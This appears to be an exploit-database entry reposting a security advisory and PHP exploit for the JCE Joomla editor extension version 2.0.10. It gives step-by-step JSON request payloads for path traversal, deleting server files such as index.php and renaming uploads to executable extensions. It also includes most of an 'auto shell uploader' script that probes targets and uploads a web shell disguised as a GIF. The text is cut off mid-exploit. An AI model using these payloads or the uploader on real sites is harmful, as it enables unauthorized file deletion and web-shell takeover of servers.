发布 2011-08-28 漏洞条目

Joomla! Component joomlacontenteditor 2.0.10 – Multiple Vulnerabilities

Exploit Source

########################## www.BugReport.ir

#######################################

# AmnPardaz Security Research Team

# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities

# Vendor: www.joomlacontenteditor.net

# Exploit: Available

# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager

1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions

also may be affected)

# Impact: High

# Original Advisory: http://www.bugreport.ir/index_78.htm

# Fix: N/A

###################################################################################

####################

1. Description:

####################

JCE is an extension for Joomla!, that provides you with a set of

wysiwyg editor tools that makes the job of writing articles for your

Joomla! site a little bit easier.

In a nutshell, it provides access to many of the features you may

be used to using in Word or OpenOffice etc.

####################

2. Vulnerabilities:

####################

2.1. Path Traversal Flaws. Path Traversal in "Image Manager",

"Media Manager", "Template Manager" and "File Manager" section.

2.1.1. Exploit:

Check the exploit/POC section.

2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",

"Media Manager", "Template Manager", "File Manager" section. Attackers

can delete any file or upload files to all the directories of the server.

2.2.1. Exploit:

Check the exploit/POC section.

2.3. Unsafe function Flaws. Attackers can use unsafe function

called "folderRename" for changing Image type extension (.jpg, .gif,

.png & etc.) to any extension like .htaccess or .php in "Image Manager",

"Media Manager", "Template Manager" and "File Manager" section.

2.3.1. Exploit:

Check the exploit/POC section.

####################

3. Exploits/PoCs:

####################

Original Exploit URL: http://www.bugreport.ir/78/exploit.htm

3.1. Path Traversal Flaws. Path Traversal in "Image Manager",

"Media Manager", "Template Manager" and "File Manager" section.

-------------

Path Traversal and see all directories:

Step 1 +--> Click on root (left bar)

Step 2 +--> Use Proxy (like burp) for changing path:

json={"fn":"getItems","args":["/","all",0,""]}

json={"fn":"getItems","args":["../../","all",0,""]}

-------------

3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",

"Media Manager", "Template Manager", "File Manager" section. Attackers

can delete any file or upload files to all the directories of the server.

-------------

For uploading file:

Step 1 +--> Upload a file with image type extension like azizi.jpg

Step 2 +--> Click on root (left bar)

Step 3 +--> Use Proxy (like burp) and change "json" parameter

to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}

Now azizi.jpg copied to root directory.

For deleting file:

Step 1 +--> Click on root (left bar)

Step 2 +--> Use Proxy (like burp) and change "json" parameter

to json={"fn":"fileDelete","args":"../../index.php"}

Now index.php has been deleted.

-------------

3.3. Unsafe function Flaws. Attackers can use unsafe function for

changing Image type extension (.jpg, .gif, .png & etc.) to any extension

like .htaccess or .php in "Image Manager", "Media Manager", "Template

Manager" and "File Manager" section.

-------------

For uploading file with executable extension:

Step 1 +--> Upload a file with image type extension like azizi.jpg

Step 2 +--> Click on root (left bar)

Step 3 +--> Use Proxy (like burp) and change "json" p

<?php

######################################### www.bugreport.ir

########################################

# AmnPardaz Security Research & Penetration Testing Group

# Title: Exploit for JCE Joomla Extension (Auto Shell

Uploader) V0.1 - PHP Version

# Vendor: http://www.joomlacontenteditor.net

# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)

# Exploitation: Remote with browser

# Original Advisory: http://www.bugreport.ir/index_78.htm

# Vendor supplied patch:

http://www.joomlacontenteditor.net/news/item/jce-2011-released

# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5

# Coded By: Mostafa Azizi

###################################################################################################

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout", 2);

ob_implicit_flush (1);

echo'<html>

<head>

<title>JCE Joomla Extension Remote File Upload</title>

</head>

JCE Joomla Extension

Remote File Upload

<tbody>

<tr>

<form name="form1" action="'.$SERVER[PHP_SELF].'"

enctype="multipart/form-data" method="post">

hostname

(ex:www.sitename.com): <input name="host" size="20"> <span

class="Stile5">*

path (ex: /joomla/ or

just / ): <input name="path" size="20"> <span

class="Stile5">*

Please specify a file to upload:

<input type="file" name="datafile" size="40"><font

color="#FF0000"> *

specify a port (default is 80):

<input name="port" size="20"><span

class="Stile5">

Proxy (ip:port):

<input name="proxy" size="20"><span

class="Stile5">

<font

color="#FF0000">* fields are

required

</form>

</td>

</tr>

</tbody>

</table>

</body></html>';

function sendpacket($packet,$response = 0,$output = 0,$s=0)

{

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

global $proxy, $host, $port, $html, $user, $pass;

if ($proxy == '')

{

$ock = fsockopen($host,$port);

stream_set_timeout($ock, 5);

if (!$ock)

{

echo ' No response from '.htmlentities($host).'

... ';

die;

}

} else

{

$parts = explode(':',$proxy);

echo 'Connecting to proxy:

'.$parts[0].':'.$parts[1].' ... ';

$ock = fsockopen($parts[0],$parts[1]);

stream_set_timeout($ock, 5);

if (!$ock)

{

echo 'No response from proxy... ';

die;

}

fputs($ock,$packet);

if ($response == 1)

{

if ($proxy == '')

{

$html = '';

while (!feof($ock))

{

$html .= fgets($ock);

}

} else

{

$html = '';

while ((!feof($ock)) or

(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))

{

$html .= fread($ock,1);

}

} else $html = '';

fclose($ock);

if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));

if ($s==1){

$count=0;

$res=nl2br(htmlentities($html));

$str =

array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');

foreach ($str as $value){

$pos = strpos($res, $value);

if ($pos === false) {

$count=$count++;

} else {

echo "Target patched. ";

die();

}

if ($count=10) echo 'Target is

exploitable. ';

}

$host = $_POST['host'];

$path = $_POST['path'];

$port = $_POST['port'];

$proxy = $_POST['proxy'];

if (isset($_POST['Submit']) && $host != '' && $path != '')

{

$port=intval(trim($port));

if ($port=='') {$port=80;}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font

color=white>Error... check the path!');}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$host=str_replace("\r\n","",$host);

$path=str_replace("\r\n","",$path);

/* Packet 1 --> Checking Exploitability */

$packet = "GET

".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20

HTTP/1.1\r\n";

$packet .= "Host: ".$host."\r\n";

$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

sendpacket($packet,1,0,1);

/* Packet 2 --> Uploading shell as a gif file */

$content = "GIF89a1\n";

$content .= file_get_contents($_FILES['datafile']['tmp_name']);

$data = "-----------------------------41184676334\r\n";

$data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";

$data .= "/\r\n";